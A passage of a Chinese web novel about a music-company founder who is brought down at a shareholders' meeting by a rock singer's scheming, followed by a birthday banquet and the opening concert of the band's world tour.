一将功成万骨枯,在不断地背叛、伤害、牺牲别人的楼梯上,他才终于得以走到了顶楼,然后创立指针音乐——当然有很多人恨他,希望他死,但是这些人中的大部分都已经没能再有任何机会接近他了。 拿下梅梢月所属的股份让他在指针音乐的地位得以进一步巩固,段以宿不会给自己留下任何把柄,他命令过蒋胜带着他的儿子隐姓埋名不再回到这里,却没想到会有人愿意以更高的价格将蒋胜带回来,让这成为今日他依然在被攻讦的缘由之一。 段以宿最近一直在处理关于舆论的事,即使网络上的骂战对他来说不痛不痒,但也依然够烦的。这些事的棘手之处在于,大部分合作方、乃至指针音乐的其他股东对他的信任已经开始降低了。 段以宿的全部项目因此卡在手里,紧接着又是宋氏集团恶意收购的事,指针音乐的股东大会很快就要被提上日程了。 即使他占股的比例高于其他人,也依然要对梅梢月死亡的事给出合理的解释。 种种事堆积在一起,让段以宿很烦躁。 他坐到了位置上,点了一支烟。 烟雾缭绕,段以宿的眼神晦暗不明。他往后靠,随手松了松领带,然后缓缓吐出一口烟。 他点开了电脑里的一个未命名的文件夹,里面尽是照片和视频——镜头里的主角都是尧新雪。 在还没有见到尧新雪本人时,段以宿曾三次听别人提起过这个名字。第一次他们提到了尧新雪的容貌漂亮和实力非凡,第二次提到了尧新雪为了救队员而受伤,最后一次提到了尧新雪带着黑羊乐队夺冠。 段以宿点开了文件夹里的第一个视频,那是指针音乐为了试水设的摇滚比赛的第六场——即黑羊乐队的第一场比赛。 那天,原本只有寥寥几个观众的场地突然来了一百多个人,在那窄小的、嘈杂的地下室里,这一百多号人挤在里面狂热地高呼着尧新雪的名字。 那是段以宿第一次看见尧新雪。 助理拿着平板低声对他说:“没想到这个比赛真的能挖到好苗子,如果给他们机会……” 段以宿的目光停留在尧新雪的脸上,嘴角挑起。 即使是这样廉价的设备,尧新雪那把嗓子也依然勾人。他相当聪明,知道怎么样能让台下的观众为他尖叫,知道什么样的姿态能让为自己的乐队赢得票数。 他艳而不俗,美而不妖,所做的这一切都不刻意,一切都浑然天成——这一点除了他以外谁都做不到。 “现在就是他们的机会。”那时段以宿这样回答,言下之意是没有必要给他们开后门——也许世界上只有一支黑羊乐队,只有一个尧新雪,但目前他们所展现的价值还没能让段以宿有所触动。 助理应了一声,然后准备把平板拿回去,结果段以宿的手依然压在平板上。 段以宿淡淡道:“回去吧。” 助理沉默了一会,最后说:“好。” 第二个视频是尧新雪被砸伤的监控录像,巨大的葡萄架轰然倒塌,尧新雪猛地推开楚枕石,自己则如同一条砧板上的鱼,被砸中时抽搐了一下。 鲜红的血从尧新雪的身下漫出来,染红了他漂亮的散落在地上的蓝灰色长发。 混乱中,段以宿看到了一个瘸着腿的青年踉跄着跑向他,在不断放大那人手里的腕表之后,段以宿忍不住笑出了声。 他的视线从那人的手又移到了尧新雪紧蹙着的眉,最后放松地靠在椅背上说:“随便给他们赔几万,然后等他好了再恢复比赛。” “几万……会不会太少了?”助理问。 “他不缺钱。”段以宿笑着说。 第三次,是二进一时黑羊乐队的网络支持率开始暴跌,远低于另外一支队伍的时候。 段以宿坐在办公室里,听着助理开始汇报这几天的数据对比。 助理问:“要不要管?刷数据的话……” 段以宿拨弄着桌上的一个狐狸摆件,怎么用手指屈戳,都没能把它戳掉,于是他挑着眉说:“不用管。” 电脑屏幕上的人握着麦克风轻声唱着,他垂下长睫,如同天使般纯洁而无瑕。他并不高高在上,却给人可望而不可即之感。 伤痛似乎没有在尧新雪的身上留下任何痕迹,同样也没有人注意到,段以宿的手压着一份指针音乐的合同,上面已然签好了他自己的名字,另一方则是黑羊乐队。 果不其然,在第二天,段以宿就收到了焚风乐队贝斯手吸毒的消息,焚风乐队的比赛资格被直接取消,黑羊乐队顺位成为了唯一的冠军。 段以宿笑得肩膀在发抖,他随手把之前那份备用的合同扔进了碎纸机。 他懒洋洋地穿上西装外套,对发愣的助理说:“走吧,去看看我们的冠军。” 段以宿咀嚼着“冠军”两个字,眼底的笑意更明显。 和视频里看到的一样,尧新雪不需要化任何妆,就已经比那一众明星更漂亮。他的唇红如石榴,眼睛亮如星辰,嘴角微勾,表情温柔,并没有胜利者的骄傲,只是不卑不亢。 因为稍卷而呈蓝灰色的长发,让他充满少年气的面庞又多了几分恰到好处的性感。 段以宿坐在主位,一手撑着下颌,一边挑眉听着他说话。 在一众面试他的人面前,尧新雪也依然表现得坦荡而自然,他说话不疾不徐,谈吐优雅,轻而易举地就获得了别人的信任。 谈判桌上他们分坐在两头,在其他人都同意确认了和黑羊乐队的合同时,尧新雪抬起眼和段以宿对视。 段以宿看到尧新雪温雅的笑容,于是也挑起唇礼貌地笑了一下,然后敲了敲桌子说:“这件事再定,我需要再考虑一下,你今天就先回去吧。” 一道闪电撕裂了天空,暴雨自天际飞落。 段以宿结束了一天的工作,走出门口时看到了被他叫“先回去”的人。 尧新雪懒洋洋地靠在门口看雨,仿佛没有骨头的猫,看到段以宿出来,才动了一下。 段以宿挑眉看了他一眼,然后撑开了伞,绅士地侧了侧身,问道:“还没走?” “我在等您。”尧新雪向他走近了一步,微微一笑。 从段以宿叫人回去到现在,估计已经过了四五个小时。 尧新雪一直在等吗? 好会装可怜。 段以宿笑了一下,他的视线毫不掩饰地自上而下打量了一遍尧新雪,故意刁难道:“嗯?抱歉,我没听清。” “我想和您再谈一下签约的事。”尧新雪说。 段以宿偏过头,本想圆滑地拒绝,却又说:“去车上谈。” 尧新雪点了点头,当真就这样毫不犹豫地上了段以宿的车。 风扯着千万雨丝,天色暗下来,段以宿下车后,走到了副驾给尧新雪撑伞。 尧新雪也没问段以宿为什么把他带到了这里,只是顺从地走近了段以宿。 段以宿的伞往他的那边倾斜,半边肩膀都淋湿了,在这个距离里,段以宿甚至能闻到尧新雪的发香。 门打开之后又关上,尧新雪就被段以宿推了一下。 他被抵在门后,颈不得不仰起,因为段以宿正沿着他的侧颈一点一点慢慢地嗅着。 尧新雪甚至没有躲,只是垂着眼,松散的领口露出锁骨。 明明段以宿什么都没有对他做,他再次睁开眼和段以宿对视时,眼尾却有些红,眼神湿漉漉的。 “我记得黑羊原来不是第一名?”段以宿靠近尧新雪的耳朵轻声说。 “现在黑羊就是第一名。”尧新雪笑了一下,他微微抬起头,语气带着些许慵懒的意味。 “一千万张唱片怎么样,第一名?”段以宿狎昵道。 “三千万。”尧新雪轻声说。 段以宿笑了,然后说“好”,将他拦腰抱起来到了房间。 柔软的床凹陷了一块,尧新雪的腰折得近似月亮。段以宿一手揉着他的腰,一边压着他不住地吻着。 他终于摸到了尧新雪柔软的长发,比自己想象的要更软,更滑。尧新雪的长发如同窗外的无数雨丝,最后全散落在段以宿的床上。 段以宿贪婪地咬着他的颈,听着他呼吸变得急促,那一晚段以宿甚至渴望着能喝到尧新雪的血。 后来他给尧新雪录像、拍照,留下很多这只狐狸和自己相关的证据。因为他知道他动了真情,而这头狐狸一定有一天会咬伤他,会选择离开他。 但是段以宿错在他没有想到,这头狐狸现在竟然想要咬断他的脖子,喝他的血。 第67章 那天颜胤面无表情地说出了“如果继续支持段以宿,指针音乐涉及财务造假,可能会有强制退市的风险”时,在场的所有股东都沉默了下来。 李洋叼着烟,同样没有说话,却在那一秒知道,这些人会因为这句话彻底站在他们的那一边。 宴席上人人面面相觑,即使其中有的人再不愿意得罪段以宿,如今也肯定坐不住了。 颜胤等了几秒他们反应之后,提出了宋燃犀的一套包括个人资金以及其他巨头支持的融资计划,就这样软硬兼施,压把枪给颗糖,终于把所有人绑上了船。 次日就是指针音乐的股东大会。 李洋久违地看到了段以宿。 外界传闻中逼死梅梢月的真凶,指针音乐最初的创始人,公司无上的独裁者,商界天才……被冠以种种名号的段以宿再次出现在李洋面前时,似乎瘦了一点,他的眼底多了一层乌青,眼睛却依然炯炯有神如鹰隼。 如果只是因为舆论和融资危机就能被搞垮,那段以宿就不再是段以宿了。 李洋收回了落在他身上的目光,最后镇定自若地坐在了位置上。 段以宿依然坐在主位,他随意地扫视了周围一圈人一眼,然后抬起手腕看了一眼腕表。 大多数人之所以入股指针音乐,无非是因为相信段以宿的能力或是相信公司的前景,但如今,指针音乐连续两次受到重创,还几乎是因为同一件事。 因此这一次的股东大会也没几个人脸上有笑容。 段以宿调了调麦,居高临下地望着台下的所有人,然后开始了今天的第一句话:“各位晚上好,我是段以宿。” 他如同过去千百次那样熟练地汇报着上半年的报表,然后在恰到好处的停顿之后享受着如雷的掌声。 段以宿如同巡视着自己领地的狼,环顾了一周其他人满意的笑容之后也轻佻地一笑,最后在大屏幕上放出了一张法律文书。 上面仅有寥寥几行字,却让致使梅梢月死亡的真凶摇身一变成为了网络暴力的受害者——那些敢冒头暗示梅梢月的死是因为与公司存在矛盾的账号已经被删除,已经不足以掀起风浪了。 梅梢月的父母曾试图找过段以宿,均被段以宿的律师温声解释,然后带了回去。 接下来大屏幕上的几页文书都是盖过章的,无非是段以宿的澄清,最后还跟了几页捐款的证明——段以宿为梅梢月所建的“乐园”捐赠了一大笔钱,很快这些就会公布在网民的面前。 李洋看着段以宿漫不经心的笑,仿佛已经看到了明天的新闻头条:“指针音乐为梅梢月……”很快,舆论的风向又会偏向段以宿。 连李洋这样的局外人都不得不感慨一句——世界真悲哀,真可怜,一切都可以用来作秀,梅梢月生前是为指针音乐卖命的狗,死后依然要牵扯进尧新雪和段以宿的斗争。 “最近有很多关于我的谣言和传闻,我感到很抱歉,因为这些小事没有处理好,影响了公司。对于我司艺人梅梢月的死亡我感到很遗憾,但网络上的一切指控都是阴谋论,我想说,他的死与我无关。我已经第一时间取证证明了自己的清白,也在能力范围内控制了舆论的导向,”段以宿轻松地耸了耸肩,仿佛这只是一件不值一提的小事。 “我理解他的粉丝与他的家人的行为,也认为应该对影响公司形象的事做出合理的补偿,因此我以公司的名义给梅梢月所保护的孩子提供了捐赠。今天之后,这些将会发出,让事情得到最后最合适的了结。” 段以宿靠近麦,微微一笑,和他想象着的支持者鼓掌、自己戴着胜利者笑容的场面不同,偌大的场馆里陷入了死一般的寂静。 台下的股东们脸色越发凝重,最后几近铁青。 段以宿的脑子也冷静了下来,他转过头,看向了身后的大屏幕。 不是捐款证书,不是法律条文,而是他通过职权之便挪用公司资源、金钱输送到自己私人公司的桩桩件件。 仿佛有一个巴掌狠狠地扇到了他的脸上,让段以宿的脸感到火辣辣的刺痛,他终于迟缓地感到了难堪与被背叛的滋味。 指针音乐优质的大屏将那些写有他签名的虚假合同一一公开,同步传送到每个股东的手里。 段以宿想要提起嘴角笑,却只能徒劳地睁大眼睛,看着那些足以让他下位,足以让他彻底滚出他自己的商业帝国的资料有条不紊地在大屏幕上放送。 仿佛有千万束目光落在他的身上,灼痛他然后留下一个又一个孔洞。 段以宿的手指发出可怕的咔咔声,他在这一秒成为了他最厌恶最看不起的猴子,被人围观,用着充满恶意与异样的眼神看待他。 但是段以宿依然保持着微笑,保持着最后一点体面。他不可一世的傲慢与自尊心不允许他像个失控的疯狗一样歇斯底里,即使所有人都踩在他的脸上,段以宿也依然能高抬起下颌,用着冷漠而鄙夷的眼神看过去。 股东们在窃窃私语,交头接耳,李洋坐在第一排的边缘位置,给几个早已看过这些资料的股东递眼神。 一份铁证与其他人看似无意的忧心忡忡的呢喃,终于将这场股东大会推向了高潮——这不是他段以宿澄清的舞台,而是他面临千夫所指、失去所有的断头台。 很快,董事会就会将段以宿解聘,股东们也将一致投票同意指针音乐被宋氏收购合并,有了这些转卖公司资源与资金的证据,属于段以宿的股份也将强制被剥夺。 这座段以宿建造的高楼终于轰然倒塌——倒下来的那一瞬间,竟然让所有人的心头都为之一震。 有人大着胆子,举起了单反,将镜头对准了台上的人。 那个曾在商场上意气风发,叱咤风云的段以宿如今笑容僵硬,却说不出一句辩解的话。 时间仿佛已然凝固,段以宿甚至听不到其他人提问的声音。他从来没有体味过这样深刻的被侮辱感,从前他在这些人面前多傲慢,如今就感到多耻辱。 当他抬起头看向二楼正中央,只看到有一个人站在了那里。 那个人的蓝灰色长发一如初见时那样垂下来,戴着一顶黑色的鸭舌帽与口罩,穿着简单的白色长袖。 段以宿的心已经先于他的理智认出了这个人的身份,他的嘴唇微微颤抖着,无声地叫了那个人的名字:尧新雪。 尧新雪就这样远远地、居高临下地欣赏着这场闹剧,即使隔着这样遥远的距离,段以宿依然能想象到他会是怎样的神情——一定会如同狡黠的小猫一样,漂亮的眼睛微微弯起,嘴角挑起一个可爱的弧度,仿佛是得到了全天下最棒的礼物。 尧新雪伸出了左手,然后五指随意地抓了抓,面对着段以宿,仿佛天真的孩子,摆弄着手指做出“再见”的意思。 段以宿的嘴唇抿紧,却依然一动不动,只是死死地盯着尧新雪。 尧新雪拿着手机,将摄像头对准他随意地拍了下照片,然后就转身离开了。 段以宿注视着他的背影越变越小,心仿佛被一只无形的大手牢牢攥紧,要挤干里面的血。 尧新雪这样毫不在意的态度如同一把锋利的刀终于穿胸而过,段以宿感到了疼痛——他其实不渴望着能够得到尧新雪的爱,却依然奢想着,哪怕只是尧新雪的一点真心? 然而那个人只是轻而易举地走进他的生活,用鞋跟随意地碾了碾他过去视之为美好的回忆,最后毫不犹豫地抽身离开了。 一边的摄影师注意到,这个始终在微笑的男人的眼神里第一次流露出无措。 仿佛被彻底抛弃了一般,段以宿感到喉咙干涩。 有那么几秒,他仿佛只能听见尧新雪那越来越远的、不疾不徐的脚步声。 他想起很久很久以前,尧新雪就这样将双手搭上他的肩膀。 段以宿和他交颈而吻,一手牢牢地扣住他的后脑勺,一手紧紧地扣住他的腰。 尧新雪咬破了他的舌头,让腥甜的血混合着唾液沿着自己的嘴角滑落。 在夜色之中,尧新雪漂亮得犹如从深海游上来的人鱼,长发拂落,让一切都有了难以言说的美丽。 那时段以宿抵着尧新雪的鼻尖,听到他如情人般温柔地说:“我刚好也是一个‘运气好’的人,我们到时候看看谁运气更好吧?” “如果你输了,你就永远不再出现在我面前。” …… 扑通、扑通、扑通。 最后的最后,他终于只听见自己的心跳。他的牙咬紧了,目光依然死死地定在尧新雪站着的那个位置。 从尧新雪毫不犹豫地转身离开的那一秒开始,段以宿终于承认他输了。 他彻彻底底地输了。 他真的什么都没有了。 暴雨倾斜而下,一头雪白的、皮毛柔顺的狐狸在努力地爬着美丽的山坡。 它的身体因为雨水被打湿,不得不跑到山洞里躲雨。 一头狼从山洞的深处走出,咬破狐狸的颈,咬伤狐狸的腿,却又给狐狸分享美味的肉。它巨大的身体很暖,狐狸曾一度喜欢着趴在它的身上睡觉。 但是雨很快就停了,狐狸准备离开了。 它拖着那条美丽的、毛绒绒的尾巴,不断地、不断地往山顶上爬。那头狼紧追不舍,狐狸却忽然调转了方向。 狼因此掉入了农夫的陷阱。 它深深地陷进洞里,不知道狐狸是故意的,还是无意的。 它只能徒劳地仰起头看着那头漂亮的狐狸继续不断地、不断地往上爬,那雪白的尾巴最后成为一抹云,没有谁再能追上。 第68章 月亮高悬于钴蓝色的夜空,晚风随着侍者恭敬微笑着打开大门一同钻了进去。 宋燃犀的生日——又是一次理所应当的盛大宴席。 女士们握着香槟言笑晏晏,男士们则在另一边倚坐在沙发上边抽着雪茄边谈笑。 巨大的香槟塔横亘在礼厅中央,两侧是大束大束的厄瓜多尔玫瑰,取餐区尽是一绝的佳肴,400USD的时薪让厨师们不仅能态度恭敬地站在旁侧随时为贵客介绍美食,还能根据贵客的要求重新做出一份新的食物来。 头顶是璀璨的大吊灯,水钻重重叠叠嵌合,折射着耀眼的光芒,将整栋楼都照耀得辉煌而漂亮。礼厅的尽头是由左右两侧共同延伸而上的木质楼梯——所有人都知道,待在那的会是寿星与整场宴席里最难以攀附的人。 宋氏集团成功收购指针音乐的事早已在圈子内传开了,段以宿财务造假证据确凿,被股东们联名要求董事会解聘,为了补偿,身上的资产也已经被强制收回得差不多了,加上梅梢月的父母一纸状告,他官司缠身,也即是说,段以宿现在不仅破产,还要面临着一场漫长的诉讼。 段以宿居然以这样丑陋难堪的方式下场,让所有人都为之唏嘘——他时常游走在灰色地带,即使所有人都对他的所作所为心知肚明,想搞他的人数不胜数,但他这么多年来始终不倒就证明了他绝非是等闲之辈。 宋燃犀……一夜之间所有人对这三个字都有了全新的认识,从此之后再看到这个过去为了拍戏去住出租屋的二世祖,眼神都变得讳莫如深起来。 于是,这份生日宴的邀请更是变得举足轻重。 商界有头有脸的人物、半个娱乐圈的明星、名流、政客……所有人在今日齐聚一堂,为了给宋燃犀祝贺二十四岁的生日。 李洋站在以前难以搭话的人旁谈笑风生,听着他们笑着称赞宋燃犀的年轻有为,不由得在暗地里捏把汗——如果他们这群人知道逼段以宿下台的幕后主使其实是那个远在天边近在眼前的摇滚乐队主唱尧新雪,大概会大跌眼镜吧。 一想到尧新雪在人前那温柔干净的样子,他就不由得感慨——尧新雪真是狐狸扮猫,扮猫吃老虎。 就在他走神时,全场的人都抬起了头看向了二楼的中央,他循着所有人的目光看去,只看到了穿着一身西装的宋燃犀。 宋燃犀剑眉星目,嘴角扬起,一手举着酒杯大方道:“感谢各位来到这里,我先敬大家一杯。” 他站在整个厅堂的中央,万众瞩目,居高临下,好一个意气风发年轻有为。 所有人都在那一刻会意地举杯,离宋燃犀近的人则对他说生日快乐。 宋燃犀随意地回了几句,露过面之后就又一次往二楼走去。 楼上只有尧新雪。 他难得穿了白色的正装,内里搭着纯黑色的衬衫,长发散落在柔软的沙发上,长腿一折,浑身没骨头似的,只垂着眼随意地翻了下杂志。 宋燃犀的目光从尧新雪柔顺的长发一直滑落到红润的嘴唇、领口露出的一点锁骨与流畅的腰线,最后沿着他的黑色皮鞋上。尧新雪这个姿势甚至能让人看到他的一小节被黑袜包裹的脚踝。 尧新雪的鞋带松了。 宋燃犀顶了顶自己的犬齿。 几秒之后,他理所应当地单膝跪了下来,手伸向了尧新雪的鞋带。 他注意到尧新雪抬眼看向了自己,但是忍着不去和他对视,只是低着头熟练地绑着结。 绑好之后,宋燃犀准备起身,随口问:“等会跟我一起下去?顺便去见见我的父母呗。” 尧新雪的眼睛就这样一弯,用鞋尖顶住了宋燃犀的下颌,没有让他站起来。 尧新雪眼底的愉悦明显,然后稍微侧了侧头像是关切的询问:“你很想我去?” 宋燃犀被他的鞋尖顶着,不得不抬高了下颌,明明是一个颇具屈辱的姿势,自己却无论如何也生不起气来。 外界传闻……乃至就在楼下,依然有人不断窃窃私语着他宋燃犀有多能耐,多会耍手段,如今资产有多少,地位又有多高,却完全不会想象到此刻他就这样半跪在尧新雪的面前,被尧新雪的鞋顶住下颌。 宋燃犀不得不稍微仰起头,以一个仰视的视角望向尧新雪。始作俑者的语气轻柔,仿佛真的在与他商谈一般,浑然不觉着鞋底踩在颈部皮肤上会留下怎么样的痛感,即使这双鞋是崭新的。 宋燃犀的呼吸重了一点,他的脑子开始不受控制地回闪起过去的一幕幕——尧新雪、熟悉的居高临下的眼神、愉悦的表情……一切的一切都和现在有微妙的重合。 “嗯,他们不会为难你的,我想让你和他们见一面,这是我的……”宋燃犀别开了视线,他的耳尖红透,似乎为将要说出口的话感到羞耻,“我的生日愿望。” 尧新雪俯下身,拉近了与他的距离,然后放下了腿。 他就这样捏着宋燃犀的脸,让宋燃犀和自己对视,愉快道:“可以,这是奖励。” 尧新雪就这样随手从旁边拿出了一个盒子,然后从里面拿出了一条项链。 是一条冰蓝色的土星项链,土星的外圈刻着宋燃犀名字的缩写。 尧新雪就这样将手伸到他的颈后,为他戴上,宋燃犀低着头低着头看胸口的那颗土星,忍不住笑了:“生日礼物?” “狗牌。”尧新雪笑着说。 他白皙修长的手指勾着银链,最后慢条斯理地收紧,隐隐像是想要用这条项链作为凶器,牢牢地勒住宋燃犀似的,最后却又改变了注意,松开了手,然后若无其事地说:“走吧。” “嗯。”宋燃犀随意在镜子面前看了一下,让那颗土星落在恰好的位置后,满意地走到了尧新雪的身边。 从侍者的手里随意拿了杯酒,宋燃犀就和别人随意地攀谈了起来,面对着别人的连连称赞,也只是心情愉悦地谦虚否认。 直到余光瞥到尧新雪的身边站了一个男人。 宋燃犀不由得眯了眯眼睛——那个人是段以宿。 段以宿瘦了一圈,却依然穿着得体的西装,姿态优雅,仿佛什么都没发生,自己依然是那个“段总”。 宋燃犀走了过去,走到了两人中间悠声道:“段总?” 因为他的声音,周围陆陆续续地有人投来了目光。 段以宿的脸猛地一沉,视线从尧新雪云淡风轻的表情上又移到了宋燃犀的脸上,还没等他开口,宋燃犀就继续说:“我记得我没有邀请过您?” “对,抱歉,我不请自来,我只是想说,”段以宿看着尧新雪重新微笑,然后拿过一杯酒和尧新雪的轻轻碰了碰,“恭喜你,恭喜黑羊。” “谢谢段总。”尧新雪也礼貌地笑了一下,抿了一口酒。 “虽然我早就想把黑羊版权还给你。”段以宿轻声说,他看着尧新雪毫不动摇的眼神,最后只是自嘲地勾了勾嘴角。 段以宿对上旁边宋燃犀的眼神,宋燃犀毫不掩饰眼底的鄙夷,他只是傲慢地看着段以宿作了一个嘴型:失败者。 段以宿嘴角的笑意淡了:“也希望宋先生拥有珍贵的时间比我更长久。” 尧新雪听到这句时,笑了一声,仿佛听到了什么有趣的笑话。 宋燃犀挑着眉,充满恶意地对段以宿说:“您老记得下次别不请自来了。” 然而段以宿只深深地看了他一眼,然后绅士地和望向自己的宾客点头示意,最后漫步走出了这个金碧辉煌的大厅。 就在最后,他又一次,又一次转头,准确地看向了尧新雪。 尧新雪站在远处,站在人群的中央,只是看着旁边的宋燃犀,眼睛微微弯起。他听着宋燃犀说话,却始终没有望向自己的方向。 段以宿在所有人的目光之下,头也不回地走了出去。 宴会依然在继续。 宋燃犀看着段以宿的身影,不满地嘟囔:“老东西还有脸来。” 尧新雪则不以为意,他懒懒地靠在窗台上,慢慢地喝着酒。 宋燃犀切生日蛋糕的时间也进入了倒计时,窗外的夜空开始绽放出千万朵烟花。 仿佛将星河彻底引燃,让整条星河都动荡飞溅,千万条星河倒流进人世间,一切都璀璨而梦幻,耀眼得夺目,它们在几分钟后消逝,然后又迅速地重临。 所有宾客都转头望向了窗外的烟花,不断地赞美着宋氏的手笔之大。 只有尧新雪注视着宋燃犀笑着走向了一对中年夫妇。 他们同样衣着得体,举止优雅,和宋燃犀不掩亲密。 在看清了那个女人的面容之后,尧新雪喝酒的动作顿了顿。 他站起身,随手晃了晃酒杯,最后将里面的酒一饮而尽,拿出手机给宋燃犀发了一条消息:我有事先回去了。 五、四、三、二、一! 两万四千筒礼炮齐齐打响,漫天的金粉、丝带与羽毛轰然飘落,宋燃犀听到了所有人的欢呼与祝贺声,在如潮的人影里,却始终没有看到尧新雪。 第69章 黑羊乐队的世界巡演正式宣布开始,第一站C市的票开放五秒就已经被迅速地一抢而空。 三个月后,C市的体育中心——这个可以容纳整整五万人的场地,此时已经挤满了人头,一眼望过去,尽是闪烁着兴奋与期待的面庞。 他们不计时间与金钱,不计一切成本,千里迢迢来到这里,只是为了见证最喜爱的乐队世巡的第一场演出,为了向钟爱的乐手献上最诚挚的祝贺。 薛仰春坐在舞台的靠后的中央,大量密集的底鼓与军鼓交替着,模仿出心跳的声音。尧新橙接过工作人员递来的吉他,戴好背带,甚至不需要和薛仰春对视,他的手指落在吉他弦上,就自然地加入了薛仰春的伴奏。 两人的出现让现场爆发出一阵欢呼与尖叫,而新的贝斯手罗槐也紧跟其后,跳跃的贝斯线为这热场音乐增色不少。 坐在场馆内的粉丝有一部分的人是看着黑羊从LIVEHOUSE摸爬滚打到这里的,他们会知道——这热场音乐从来没有变过,紧接着衔接而来的也会是黑羊第一张专辑里的第一首歌,这是黑羊乐队与最初支持者心照不宣的默契。 这在形式上传达出了一个信号——黑羊会越走越远,会越飞越高,会成为世界第一的乐队,但不会忘记它从哪里来,曾经是什么样。 而这支人气乐队最毋庸置疑的,最受瞩目、最备受期待的人正是——他们的主唱兼队长——尧新雪。 巨大屏幕上的流沙流尽的最后一秒,所有人的心跳逐渐加快,胸口仿佛有什么要呼之欲出,却都保持了默契的寂静——直到那个人从后台里走出,一如所有照片、视频、直播等的模样停在了舞台的中央,麦克风之前。 全场的人在那一刻爆发出排山倒海般的尖叫与欢呼——他们疯狂地向那个人挥舞着自己的双手,疯狂而默契地随着鼓音整齐划一地开始踩踏地板,在如雷的轰鸣声与狂热中歇斯底里地叫喊着那个人: “尧新雪!尧新雪!尧新雪!” “尧新雪!尧新雪!尧新雪!” “尧新雪!尧新雪!尧新雪!” 舞台前的金色焰火与烟雾在那一秒喷出,尧新雪一手握着麦,一边挑起眉,轻轻地笑了一下。 他极低的笑音随着麦克风落在每一个人的耳边,又一次引起了疯狂的尖叫。 今天他穿着黑色的夹克外套,内里搭了一件极短的黑色背心,能露出一小节窄腰,低领甚至能让人看到他锁骨以下一片白皙的皮肤,与胸口那块红色的石头对比形成强烈的视觉刺激。繁复的金属项链与吊坠错落地挂在他的颈间,不显笨重反增了几分性感。 黑色的皮带束过工装裤,高帮铆钉靴修饰出他小腿美好而流畅的曲线,随着他的走动,腰间挂着的银链折射出近乎耀眼的光芒。 就在他的身后,巨大的屏幕同步放映着他的面容,令人持续尖叫的是——尧新雪握麦的那只手还戴着纯黑色的半指手套。 “时间倒流,历史重演,我的命中命中。” “天潢贵胄沦为阶下囚,凡我一事无成。” “审判我吧,正误善恶罪我我自食恶果。” “宽恕我吧,问心无愧谅我我百口不辩。” …… 尧新雪的音域极广,自由游走在高音与低音之间,他曼妙的歌声就是这样地勾人心魄,动人的眼神,蓝色的如水的长发,都和神话故事里的塞壬海妖如出一辙,在场的所有人都屏息敛声——人人如同被歌声诱惑了的水手,哪怕航船沉没,成为怪物的腹中餐,在死前也依然会感到欣喜若狂。 在连续唱了四首歌之后,天空开始慢慢地下起了雨。 随着天色变暗,雨势在慢慢地加大,舞台上的灯光也一盏盏亮起。蓝与红的光束不断地闪着,镁光灯聚焦在了每一位乐手的身上。 天气预报很准,好在检票时,每一个听众都领到了一件雨衣。 瓢泼的大雨淋落,听众们默契地拿出了雨衣披在自己的身上,然后将目光投在了尧新雪的身上。 尧新雪一手握着麦,一手摊开掌心去接着雨,长发被尽数打湿,他仰着头望了会天空,然后看向台下的人,挑起嘴角。 “下雨了。”他说,也许是因为连续用嗓,所以呼吸有些重。 “没关系!!”台下的人整齐地喊。 “大家能坚持下去吗?”尧新雪歪了歪头,笑了。他坐在了台前,像个孩子一样晃了晃腿,最后又随手抹了一把脸上的水。 “可以!!!”台下依然高声回应道。 五万人的声音响彻在夜空里,震耳欲聋,却让尧新雪尤为愉快。 他随手调了下耳返,然后将身上的外套半脱,露出雪白的手臂和肩膀。疯狂的雨水沿着他线条分明的下颌、喉结,最后渗湿他的衣服,将两条雪白的手臂与半截肩膀都落得水淋淋的,白得晃眼。 于是又一次引起了台下疯狂的、永无止尽般的尖叫和狂欢。 尧新雪对着这样的反应不以为意,只依然弯着眼睛笑,然后从裤兜里拿出了一个发卡,将一绺落在额前的头发夹到了耳后。 离得近的人、乃至全场的观众都能透过大屏幕看到那个发卡的形状——是一只橘猫。 “是小猫!!!!” “啊啊啊啊啊啊!!!” 场下又一次沸腾,尧新雪听到了,则举起了旁边的摄像机,对准了自己的脸,好让大屏幕上放清那只猫发卡的样子,他孩子气地狡黠一笑:“是小猫,小春送给我的。” 听到这句话,薛仰春则在背后得意洋洋,晃着脑袋应景地打了一串鼓,场下都会意地笑了。 尧新雪的眼神从左看到右,握着麦说:“三年前,黑羊还在只有三十几个人围观的酒吧里演出,可三年之后,我们已经站在了这里。这里有好多人啊,你们知道我们是谁吗?” 他笑了,曲起一条腿,然后站起来,弯着腰将麦递近听众席。然而无需扩音器,五万人在那一刻高呼起这支乐队的名字,他们沸腾、欢呼、尖叫,只狂热地重复着两个字: “黑羊!!黑羊!!黑羊!!” 薛仰春仰着脸,好让眼泪不落下来,雨水滑过她漂亮的脸庞,最后却是滚烫的。 尧新橙抿着唇,只如同过去千万次那样安静地望着尧新雪的背影。 此时此刻,五万人面对面望着尧新雪,他们看着尧新雪漂亮的脸,高声称赞着乐队编曲的天才,乐队配合得天衣无缝,夸耀着乐队出道之顺利,取得的成绩之优异。 却没有人知道在最初那场摇滚赛里,巨大的葡萄架砸落在尧新雪后背上,至今他的背上依然留有一条手术后缝合的极浅的疤。 这些只有寥寥几个人知道。 薛仰春、尧新橙、楚枕石知道,而如今楚枕石已经离开了。 而更不为人知的,是他身上的其余疤痕。 过去留下的、段以宿留下的……人人以为尧新雪漂亮、完美、实力非凡,却没有想到他在这背后都付出了怎样的代价。 尧新雪听着这震耳欲聋的欢呼,听着无数人高举着双手一遍又一遍欢呼重复着“黑羊”,闭着眼,微微仰起头,让瓢泼的大雨尽数沿着他光洁的脸庞落下,然后愉快地提起嘴角。 他只是站在那里,就已经成为了美好本身。 而他那快乐的神情,就仿佛只要能够拥有这一秒,那些发生在他身上的苦难、伤痛就可以全部一笔勾销。 灯光逐渐暗下来,尧新雪只听到自己的心跳,他慢慢地抬起手,握紧了胸前那块红色的石头,然后转过了身。 当绚烂的灯光再次亮起,密集的吉他声轰然响起,爆裂的鼓音一击又一击重重地砸在所有人的耳膜,他们看到尧新雪已经站在了旁边的键盘旁。 他的手指如同白色的蝴蝶翩然飞舞在黑白的琴键之间,抬起眼望向听众,随着伴奏就这样继续唱了下去。 重复的和声是尧新雪自己录下的,那几近气音而又与现场截然不同的音色形成了强烈的反差。 鼓、吉他、贝斯、琴……乃至其他各种声音,甚至于他自己的另一种声线,在此刻都要为这首歌里他现场的声音作配。 尧新雪这样两种错位的瑰丽音色就这样在大雨里上演,细腻与低哑,重与轻,这种细微的区别勾人得几乎令人上瘾,听众们意识到这是又一场狂欢的续幕,无数黑色的手影高举,疯狂地随着节奏摇晃着。 他真是当之无愧的天才,人人的心脏发麻,录音室版本的已然让无数人心折,可此刻现场的版本更是多了一层妖冶的疯狂。 